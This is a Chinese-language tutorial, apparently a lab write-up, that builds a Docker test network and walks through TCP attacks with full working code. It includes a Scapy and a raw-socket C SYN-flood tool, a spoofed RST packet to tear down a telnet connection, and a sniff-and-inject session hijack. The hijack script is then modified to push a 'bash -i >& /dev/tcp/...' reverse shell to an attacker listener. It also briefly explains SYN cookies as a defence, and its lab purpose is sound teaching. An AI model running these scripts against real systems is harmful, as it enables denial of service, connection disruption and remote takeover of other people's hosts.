赞
踩
TCP/IP协议栈是用于在计算机网络中进行通信的一组协议。它是互联网的核心协议栈,由多个层级的协议构成,应用层、传输层、网络层、数据链路层。每个层级的协议负责不同的功能。
TCP(传输控制协议)是一种面向连接的可靠传输协议,属于TCP/IP协议簇的传输层协议之一。它提供了一种可靠的端到端数据传输机制,确保数据的完整性、顺序性和可靠性。TCP的特性和工作原理如下:
docker-compose.yml文件如下
version: "3" services: attacker: image: handsonsecurity/seed-ubuntu:large container_name: seed-attacker tty: true cap_add: - ALL privileged: true volumes: - ./volumes:/volumes network_mode: host Victim: image: handsonsecurity/seed-ubuntu:large container_name: victim-10.9.0.5 tty: true cap_add: - ALL privileged: true sysctls: - net.ipv4.tcp_syncookies=0 networks: net-10.9.0.0: ipv4_address: 10.9.0.5 command: bash -c " /etc/init.d/openbsd-inetd start && tail -f /dev/null " User1: image: handsonsecurity/seed-ubuntu:large container_name: user1-10.9.0.6 tty: true cap_add: - ALL networks: net-10.9.0.0: ipv4_address: 10.9.0.6 command: bash -c " /etc/init.d/openbsd-inetd start && tail -f /dev/null " User2: image: handsonsecurity/seed-ubuntu:large container_name: user2-10.9.0.7 tty: true cap_add: - ALL networks: net-10.9.0.0: ipv4_address: 10.9.0.7 command: bash -c " /etc/init.d/openbsd-inetd start && tail -f /dev/null " networks: net-10.9.0.0: name: net-10.9.0.0 ipam: config: - subnet: 10.9.0.0/24
构建docker容器
docker-compose build
启动容器
docker-compose up --remove-orphans
查看创建的docker容器的IP地址
docker inspect -f '{{.Name}}-{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)
/seed-attacker-
/user1-10.9.0.6-10.9.0.6
/user2-10.9.0.7-10.9.0.7
/victim-10.9.0.5-10.9.0.5
创建的网络拓扑结构如下所示
我们刚刚介绍TCP的时候,介绍了三次握手。在TCP三次握手过程中,客户端向服务器发送一个SYN(同步)包,服务器接收到后会返回一个SYN-ACK(同步-确认)包给客户端,然后等待客户端的确认(ACK)。当收到客户端的确认(ACK)后,TCP连接就建立起来了,接下来就可以使用这个连接进行通信了。
SYN泛洪攻击利用了TCP三次握手过程中的设计缺陷,在正常的TCP连接建立过程中,客户端发送一个带有SYN(同步)标志的TCP段给服务器,服务器收到后回复一个带有SYN和ACK(确认)标志的TCP段,最后客户端回复一个带有ACK标志的TCP段,完成连接建立。然而,SYN洪水攻击中,攻击者发送大量伪造的具有SYN标志的TCP段给目标服务器,但并不回复服务器的SYN-ACK段来完成三次握手,从而导致服务器上堆积大量未完成的连接请求,这些半开放连接会一直保持在服务器上等待,消耗服务器的资源,其结果就是目标服务器的连接队列被填满,无法处理新的合法连接请求。服务器资源如CPU、内存和网络带宽等也会被消耗殆尽,导致服务不可用。
net.ipv4.tcp_max_syn_backlog
是一个Linux内核参数,用于设置TCP三次握手过程中的半连接队列的最大长度,即可以同时等待完成三次握手的连接数。半连接队列存储了服务器正在等待完成三次握手的连接请求。
查看当前的 net.ipv4.tcp_max_syn_backlog
参数值
sysctl net.ipv4.tcp_max_syn_backlog
修改 net.ipv4.tcp_max_syn_backlog
的值
sysctl -w net.ipv4.tcp_max_syn_backlog=256
python脚本如下
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags="S")
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)
进入受害者10.9.0.5
,在攻击之前重置网络连接状态然后开始监听端口23(Telnet端口)的TCP网络连接的。
docker exec -it f94ca6700e7b /bin/sh
ip tcp_metrics flush
netstat -ntc | grep :23
在攻击机中启动攻击脚本
sudo python3 syn.py
受害者10.9.0.5
收到了许多半开连接。
等待一会儿,然后进入网络下另一台10.9.0.6
主机并向受害机10.9.0.5
发起telnet连接
docker exec -it 18c87ea4bd77 /bin/sh
telnet 10.9.0.5
telnet连接超时,目标主机无法处理该连接请求。
使用原始套接字来实现伪造IP报文实现一个SYN-Flood攻击的程序。
定义TCP报头结构和伪报头结构。TCP伪报头(TCP Pseudo Header)是在进行TCP校验和计算时使用的辅助数据结构。它不是TCP报文段的一部分,而是用于计算校验和的数据。
#include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <string.h> #include <stdlib.h> #include <time.h> #include <arpa/inet.h> #include <netinet/ip.h> struct tcphdr { unsigned short sport; // 源端口 unsigned short dport; // 目标端口 unsigned int seq; // 序列号 unsigned int ack_seq; // 确认号 unsigned char len; // 首部长度 unsigned char flag; // 标志位 unsigned short win; // 窗口大小 unsigned short checksum; // 校验和 unsigned short urg; // 紧急指针 }; /** * TCP伪头部包含了一些必要的信息,用于计算TCP校验和。 * 它通常由源IP地址、目的IP地址、保留字段、协议类型(TCP)和数据长度组成。 */ struct pseudohdr { unsigned int saddr; unsigned int daddr; char zeros; char protocol; unsigned short length; };
校验和计算的代码如下。将缓冲区中的每个16位字累加到checksum变量中,直到size变为1或0。然后,如果size不为0,说明还剩下一个字节没有累加到校验和中,将其加入checksum中。接下来,如果checksum发生溢出(即高16位不为零),就将高16位和低16位相加,再加上高16位。这是为了确保校验和在溢出时仍然正确。最后,将checksum取反并返回。
// 计算校验和 unsigned short checksum(unsigned short *buffer, unsigned short size) { unsigned long checksum = 0; // 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0 while (size > 1) { checksum += *buffer++; size -= sizeof(unsigned short); } // 如果 size 不为0,说明还剩下一个字节没有累加到校验和中, if (size) { checksum += *(unsigned char *)buffer; } // 如果有溢出 while (checksum >> 16) { // 则将高16位与低16位相加 checksum = (checksum >> 16) + (checksum & 0xffff); // 如果高16位非零,再加高16位 checksum += (checksum >> 16); } // 取反 return (unsigned short)(~checksum); }
初始化IP报头,设置IP报头的字段值。
// 初始化ip头 void init_ip_header(struct iphdr *ip, unsigned int srcaddr, unsigned int dstaddr) { // 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度 int len = sizeof(struct iphdr) + sizeof(struct tcphdr); // 设置 IP 版本和头部长度字段 ip->version = 4; ip->ihl = 5; // 设置服务类型字段 tos,此处设为 0。 ip->tos = 0; // 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序 ip->tot_len = htons(len); // 设置标识字段 ip->id = 1; // 设置标志字段 flags,这里设为 0x40,表示不分片 ip->frag_off = htons(0x4000); // 设置生存时间字段 ttl ip->ttl = 255; // 设置协议字段 protocol,这里设为 IPPROTO_TCP ip->protocol = IPPROTO_TCP; // 初始化校验和 ip->check = 0; ip->saddr = srcaddr; // 源IP地址 ip->daddr = dstaddr; // 目标IP地址 }
初始化TCP报头以及伪报头的函数。使用rand生成两个随机数,并将其转换成网络字节序作为源端口和序号,用于隐匿本机。TCP的flag字段设为0x02表示设置SYN。
// 初始化tcp头 void init_tcp_header(struct tcphdr *tcp, unsigned short dport) { // 生成随机端口 tcp->sport = htons(rand() % 16383 + 49152); // 目的端口 tcp->dport = htons(dport); // 随机生成一个序号,转化为网络字节顺序 tcp->seq = htonl(rand() % 90000000 + 2345); // 将 ack_seq 字段初始化为 0,表示没有确认序列号 tcp->ack_seq = 0; /** * 计算 TCP 头部长度,使用 sizeof(struct tcphdr) / 4 计算出以 32 位字为单位的长度, * 然后将其左移 4 位(相当于乘以 16),最后通过位或操作符 | 与 0 进行合并得到 len 字段 */ tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0); // 将 flag 设置 SYN 控制标志位 tcp->flag = 0x02; // 设置窗口大小 tcp->win = htons(1024); // 初始化校验和 tcp->checksum = 0; // 将紧急指针 urg 初始化为 0,表示没有紧急数据 tcp->urg = 0; } // 初始化伪TCP头 void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr, unsigned int dstaddr) { pseudo->zeros = 0; pseudo->protocol = IPPROTO_TCP; pseudo->length = htons(sizeof(struct tcphdr)); pseudo->saddr = srcaddr; pseudo->daddr = dstaddr; }
构造了一个SYN数据包,生成一个随机数,作为数据包的源IP用于隐匿本机IP,调用上面的函数来计算IP校验和已经利用TCP伪报头计算TCP校验和。然后将TCP和IP报头拼接成一个数据包。
// 构造syn数据包 int make_syn_packet(char *packet, int pkt_len, unsigned int daddr, unsigned short dport) { char buf[100]; int len; struct iphdr ip; // IP 头部 struct tcphdr tcp; // TCP 头部 struct pseudohdr pseudo; // TCP 伪头部 // 随机生成源地址 unsigned int saddr = rand(); // 长度设置为一个ip报头+tcp报头的长度 len = sizeof(ip) + sizeof(tcp); // 初始化头部信息 init_ip_header(&ip, saddr, daddr); init_tcp_header(&tcp, dport); init_pseudo_header(&pseudo, saddr, daddr); // 计算IP校验和 ip.check = checksum((u_short *)&ip, sizeof(ip)); bzero(buf, sizeof(buf)); // 复制TCP伪头部 memcpy(buf, &pseudo, sizeof(pseudo)); // 复制TCP头部 memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 计算TCP校验和 tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp)); bzero(packet, pkt_len); // 填充ip报头 memcpy(packet, &ip, sizeof(ip)); // 填充tcp报头 memcpy(packet + sizeof(ip), &tcp, sizeof(tcp)); // 格式化输出消息 unsigned char *dbytes = (unsigned char *)&daddr; unsigned char *sbytes = (unsigned char *)&saddr; printf("send a syn packet from %u.%u.%u.%u to address %u.%u.%u.%u\n", sbytes[0], sbytes[1], sbytes[2], sbytes[3], dbytes[0], dbytes[1], dbytes[2], dbytes[3]); return len; }
通过调用socket函数创建一个原始套接字。AF_INET参数指定了使用IPv4协议,SOCK_RAW参数指定了套接字类型为原始套接字,IPPROTO_TCP参数指定了传输层协议为TCP。如果socket函数返回值为-1,表示创建套接字失败。
通过setsockopt函数设置套接字选项。setsockopt函数用于设置套接字的各种选项,这里使用IP_HDRINCL选项来告诉操作系统在发送数据时不自动添加IP头部。IP_HDRINCL选项的值为on。当IP_HDRINCL选项的值为非零时,表示应用程序将负责手动构建完整的IP头部,并将其附加到发送的数据中。这对于某些特定的网络编程需求非常有用,例如实现自定义的网络协议或与特定网络设备进行直接通信。通过将选项值设置为on,即使发送的数据中没有包含IP头部,操作系统也会将数据直接发送出去,而不会添加默认的IP头部。这样,应用程序就可以自行构建并添加完整的IP头部。
// 创建原始套接字 int make_raw_socket() { int fd; int on = 1; // 创建一个原始套接字 fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (fd == -1) { return -1; } // 设置需要手动构建IP头部 if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { close(fd); return -1; } return fd; }
设置目标主机的地址族、地址与端口。然后使用sendto函数将我们自己构造的SYN数据包通过创建的原始套接字发往目标地址。
// 发送syn数据包 int send_syn_packet(int sockfd, unsigned int addr, unsigned short port) { struct sockaddr_in skaddr; // 数据包 char packet[256]; // 数据包长度 int pkt_len; // 初始化 bzero(&skaddr, sizeof(skaddr)); // 设置目标地址 skaddr.sin_family = AF_INET; skaddr.sin_port = htons(port); skaddr.sin_addr.s_addr = addr; // 创建一个syn数据包 pkt_len = make_syn_packet(packet, 256, addr, port); // 发送syn数据包 return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr, sizeof(struct sockaddr)); }
在主函数中调用上面的函数,usleep(1000*1000);
用于控制数据包的发送速率。
int main(int argc, char *argv[]) { unsigned int addr; unsigned short port; int sockfd; if (argc < 3) { fprintf(stderr, "Usage: synflood <address> <port>\n"); exit(1); } // 获取地址和端口 addr = inet_addr(argv[1]); port = atoi(argv[2]); if (port < 0 || port > 65535) { fprintf(stderr, "Invalid destination port number: %s\n", argv[2]); exit(1); } // 创建原始套接字 sockfd = make_raw_socket(); if (sockfd == -1) { fprintf(stderr, "Failed to make raw socket\n"); exit(1); } // 一直发送syn数据包 for (int i = 0; i > -1; i++) { usleep(1000*1000); if (send_syn_packet(sockfd, addr, port) < 0) { fprintf(stderr, "Failed to send syn packet\n"); } } close(sockfd); return 0; }
在主机10.9.0.5
上,先重置网络连接状态,再查找正在监听端口23(Telnet端口)的TCP网络连接。
docker exec -it f94ca6700e7b /bin/sh
ip tcp_metrics flush
netstat -ntc | grep :23
编译源代码并运行
gcc -o syn syn.c
sudo ./syn 10.9.0.5 23
运行效果如下
可以发现主机10.9.0.5
上收到了许多半开连接
等待一会儿,然后进入网络下另一台10.9.0.6
主机并向受害机10.9.0.5
发起telnet连接
docker exec -it 18c87ea4bd77 /bin/sh
telnet 10.9.0.5
telnet连接超时,目标主机无法处理该连接请求。
当服务器收到大量伪造的SYN请求时,它们会在无法处理这些请求之前消耗服务器的资源,导致服务不可用。为了解决这个问题,引入了SYN Cookie机制。
SYN Cookie通过在服务器端动态生成伪随机的序列号来替代实际的半连接队列,从而减轻服务器的负载。服务器将伪随机序列号编码到SYN-ACK响应中,并将其发送给客户端。客户端在收到SYN-ACK响应时,会解码其中的伪随机序列号并发送ACK以完成连接的建立。这样,服务器不再需要维护实际的半连接队列,而是根据客户端发送的ACK来重构连接状态。
要系统查看是否开启了SYN Cookie机制
sysctl net.ipv4.tcp_syncookies
设置SYN Cookie是否开启
sysctl -w net.ipv4.tcp_syncookies=1
TCP Reset(RST)攻击通过发送伪造的TCP RST数据包来终止或中断现有的TCP连接。这种攻击利用了TCP协议中的一个特性,即TCP RST数据包可以用于终止连接。攻击者发送一个带有伪造源IP地址和目标IP地址的RST数据包,该RST数据包伪装成来自通信双方之一的主机。当目标主机收到这个伪造的RST数据包时,它会认为连接被对方终止,并关闭连接。这将导致连接中断,受影响的用户可能需要重新建立连接。
TCP Reset攻击可以用于中断对特定服务的访问,例如通过终止现有的TCP连接来阻止用户访问某个网站或服务。攻击者可以利用已经存在的连接状态来发送伪造的RST数据包,从而迫使目标主机关闭连接。
在攻击机网络接口设为混杂模式,然后使用tcpdump监听数据包
sudo tcpdump -i br-0d32c54e0d4e -nn -vvv -XX 'port 23 and tcp[12:4] != 0'
或者使用下面的脚本进行嗅探
#!/usr/bin/python3
from scapy.all import *
def print_pkt(pkt):
pkt.show()
sniff(iface='br-0d32c54e0d4e', filter="tcp port 23", prn=print_pkt)
然后在10.9.0.6
向10.9.0.5
发起telnet连接。
telnet 10.9.0.5
在攻击机嗅探到数据包如下。可知双方通信10.9.0.6 :52732<->10.9.0.5:23
。
攻击脚本如下,设置源和目的IP和端口,然后设置seq为上一个数据包也就是10.9.0.6
向10.9.0.5
发送的数据包的ack字段,表示10.9.0.6
期望收到的下一个数据包的seq。
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.9.0.5", dst="10.9.0.6")
tcp = TCP(sport=23, dport=52732, flags="R", seq=3611048787)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
运行该脚本
sudo python3 rst.py
成功重置了10.9.0.6
和10.9.0.5
之间的连接。
在TCP连接中,会话是通过序列号seq和确认号ack进行跟踪和管理的。攻击者利用漏洞或技术手段,获得对TCP连接的控制权,使其能够窃取、修改或劫持连接中的数据。
然后使用10.9.0.6
telnet连接到10.9.0.5
服务器。服务器创建一个文件auth。
在攻击机上运行下面的脚本
#!/usr/bin/python3 from scapy.all import * def print_pkt(pkt): srcip = pkt[IP].src dstip = pkt[IP].dst srcport = pkt[TCP].sport dstport = pkt[TCP].dport seqnum = pkt[TCP].seq acknum = pkt[TCP].ack length = len(pkt[TCP].payload) print("Source IP: " + srcip + " Destination IP: " + dstip + " Source Port: " + str(srcport) + " Destination Port: " + str(dstport) + " Sequence Number: " + str(seqnum) + " Acknowledgement Number: " + str(acknum)) if(srcport == 23): ip = IP(src=dstip, dst=srcip) tcp = TCP(sport=dstport, dport=srcport, flags='A', seq=acknum, ack=seqnum+length) data = "echo caixing >> auth\n\0" packet = ip/tcp/data send(packet, verbose=0) sniff(iface='br-0d32c54e0d4e', filter="tcp and dst host 10.9.0.6 and src port 23", prn=print_pkt)
查看服务器的目录下的auth文件,发现成功运行了我们输入的命令,会话劫持成功
进入客户端的终端。发现客户端的光标被锁死,无法输入命令,因为客户端的失去了正确的ack与seq,无法通过telnet发出信息,也无法接收信息。
在攻击机监听8888端口
nc -lvnp 8888
修改刚刚会话劫持的脚本,在服务端执行bash -i >& /dev/tcp/10.9.0.1/8888 0>&1
命令,与IP地址为10.9.0.1,端口号为8888的主机建立反向Shell连接。count设置为1表示只捕获一次,即只执行一次反弹shell命令。
#!/usr/bin/python3 from scapy.all import * def print_pkt(pkt): srcip = pkt[IP].src dstip = pkt[IP].dst srcport = pkt[TCP].sport dstport = pkt[TCP].dport seqnum = pkt[TCP].seq acknum = pkt[TCP].ack length = len(pkt[TCP].payload) print("Source IP: " + srcip + " Destination IP: " + dstip + " Source Port: " + str(srcport) + " Destination Port: " + str(dstport) + " Sequence Number: " + str(seqnum) + " Acknowledgement Number: " + str(acknum)) if(srcport == 23): ip = IP(src=dstip, dst=srcip) tcp = TCP(sport=dstport, dport=srcport, flags='A', seq=acknum, ack=seqnum+length) data = "bash -i >& /dev/tcp/10.9.0.1/8888 0>&1\n\0" packet = ip/tcp/data send(packet, verbose=0) sniff(iface='br-0d32c54e0d4e', filter="tcp and dst host 10.9.0.6 and src port 23", prn=print_pkt, count=1)
反弹shell成功
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。